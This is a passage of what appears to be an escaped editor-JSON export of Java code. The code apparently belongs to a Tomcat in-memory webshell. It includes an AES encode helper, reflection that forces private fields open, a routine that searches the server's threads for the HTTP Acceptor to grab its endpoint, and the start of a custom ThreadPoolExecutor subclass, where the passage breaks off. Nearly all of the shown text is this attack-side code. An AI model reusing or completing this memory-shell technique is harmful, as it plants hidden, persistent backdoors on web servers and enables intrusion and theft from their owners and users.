{&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Gnt2-1659707094358&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ljv4-1659707094357&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            e.printStackTrace();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;M4b0-1659707094360&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xgEg-1659707094359&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZF37-1659707094363&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xwT1-1659707094361&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return null;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iRTH-1659707094365&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0UCt-1659707094364&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IEIs-1659707094367&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eTtE-1659707094366&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LGwp-1659707094369&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Qu0l-1659707094368&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public static String encode(String key, String content) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tDVV-1659707094371&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lZHt-1659707094370&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VeO1-1659707094373&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7ojQ-1659707094372&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            javax.crypto.SecretKey secretKey = new javax.crypto.spec.SecretKeySpec(key.getBytes(), AES);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eUEv-1659707094375&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5Hm8-1659707094374&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            javax.crypto.Cipher cipher = javax.crypto.Cipher.getInstance(CIPHER_ALGORITHM);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PHpz-1659707094377&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OkU7-1659707094376&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            cipher.init(javax.crypto.Cipher.ENCRYPT_MODE, secretKey, new javax.crypto.spec.IvParameterSpec(KEY_VI));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8dw9-1659707094379&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;y5RD-1659707094378&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            byte[] byteEncode = content.getBytes(java.nio.charset.StandardCharsets.UTF_8);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oHBK-1659707094381&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SRUj-1659707094380&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            byte[] byteAES = cipher.doFinal(byteEncode);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mCPV-1659707094384&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KsxQ-1659707094383&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return base64Encoder.encodeToString(byteAES);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7N3t-1659707094386&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OCsv-1659707094385&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } catch (Exception e) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0R16-1659707094388&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;f2CH-1659707094387&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            e.printStackTrace();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vJzt-1659707094390&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;P7O6-1659707094389&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qrqV-1659707094392&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cHuy-1659707094391&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return null;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XWqz-1659707094394&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TXuo-1659707094393&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;o7Ma-1659707094396&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Fn9Y-1659707094395&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;x487-1659707094398&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zOAa-1659707094397&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8PYx-1659707094400&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UGZP-1659707094399&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public Object getField(Object object, String fieldName) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cGPw-1659707094402&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3Puv-1659707094401&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Field declaredField;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tAi7-1659707094404&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RjYd-1659707094403&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Class clazz = object.getClass();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hb9Z-1659707094406&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vIjp-1659707094405&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        while (clazz != Object.class) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Yf9d-1659707094409&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4j9e-1659707094408&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BxZa-1659707094411&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BpgI-1659707094410&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wG2q-1659707094413&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CpDp-1659707094412&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                declaredField = clazz.getDeclaredField(fieldName);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SLrN-1659707094415&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Dmq4-1659707094414&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                declaredField.setAccessible(true);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;V0is-1659707094417&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8VEI-1659707094416&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                return declaredField.get(object);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Smu7-1659707094419&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Qbp4-1659707094418&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            } catch (NoSuchFieldException | IllegalAccessException e) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OHFJ-1659707094421&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OtKx-1659707094420&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qHdf-1659707094423&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;68co-1659707094422&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            clazz = clazz.getSuperclass();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TfoL-1659707094425&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;k6Io-1659707094424&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0R5u-1659707094427&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;N6ld-1659707094426&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return null;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WWEh-1659707094429&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5Gpd-1659707094428&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;t33N-1659707094431&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;o98V-1659707094430&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mhUN-1659707094434&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fMCA-1659707094433&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mHe3-1659707094436&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MpqW-1659707094435&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public Object getStandardService() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;E847-1659707094438&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uN73-1659707094437&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), \&#34;threads\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zkaI-1659707094440&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;juQk-1659707094439&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        for (Thread thread : threads) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oGLC-1659707094442&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VGPJ-1659707094441&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            if (thread == null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9ZRP-1659707094444&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LM76-1659707094443&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                continue;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dAuL-1659707094446&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bwkY-1659707094445&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QMXp-1659707094448&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;v6h1-1659707094447&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            if ((thread.getName().contains(\&#34;Acceptor\&#34;)) &amp;&amp; (thread.getName().contains(\&#34;http\&#34;))) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uFuQ-1659707094450&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5Hbr-1659707094449&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                Object target = this.getField(thread, \&#34;target\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eXyL-1659707094452&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;s3D8-1659707094451&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                Object jioEndPoint = null;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SQsw-1659707094454&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VF2N-1659707094453&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;erNK-1659707094456&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rfQK-1659707094455&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    jioEndPoint = getField(target, \&#34;this$0\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2gQk-1659707094458&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2JIe-1659707094457&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                } catch (Exception e) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DUWg-1659707094460&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;V41K-1659707094459&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6J0x-1659707094462&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uKG6-1659707094461&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                if (jioEndPoint == null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lKIv-1659707094464&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4URe-1659707094463&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9mCX-1659707094466&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bGVM-1659707094465&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        jioEndPoint = getField(target, \&#34;endpoint\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kcwg-1659707094469&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;n0XT-1659707094468&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    } catch (Exception e) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0qPy-1659707094471&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gSp4-1659707094470&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        new Object();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WVbi-1659707094473&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KTkh-1659707094472&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wBUc-1659707094475&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uPD1-1659707094474&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mMnr-1659707094477&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Zsnn-1659707094476&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    return jioEndPoint;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iTx7-1659707094479&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;r0lH-1659707094478&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;f4UI-1659707094481&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ePmC-1659707094480&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1R4s-1659707094483&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Gmve-1659707094482&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XNLr-1659707094485&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ff1z-1659707094484&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Vc8L-1659707094487&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gLsg-1659707094486&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return new Object();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;brPL-1659707094489&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zhQC-1659707094488&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vIld-1659707094491&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7MIp-1659707094490&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ssng-1659707094493&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CtLu-1659707094492&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public class threadexcutor extends ThreadPoolExecutor {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Jabi-1659707094495&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rXQs-1659707094494&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fks6-1659707094497&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OS0R-1659707094496&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        public threadexcutor(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, BlockingQueue&lt;Runnable&gt;workQueue, ThreadFactory threadFactory, RejectedExecutionHandler handler) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dNeW-1659707094499&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rHUi-1659707094498&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            super(corePoolSize, maximumPoolSize, keepAliveTime, unit, workQueue, threadFactory, handler);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pSef-1659707094502&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Krzs-1659707094500&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        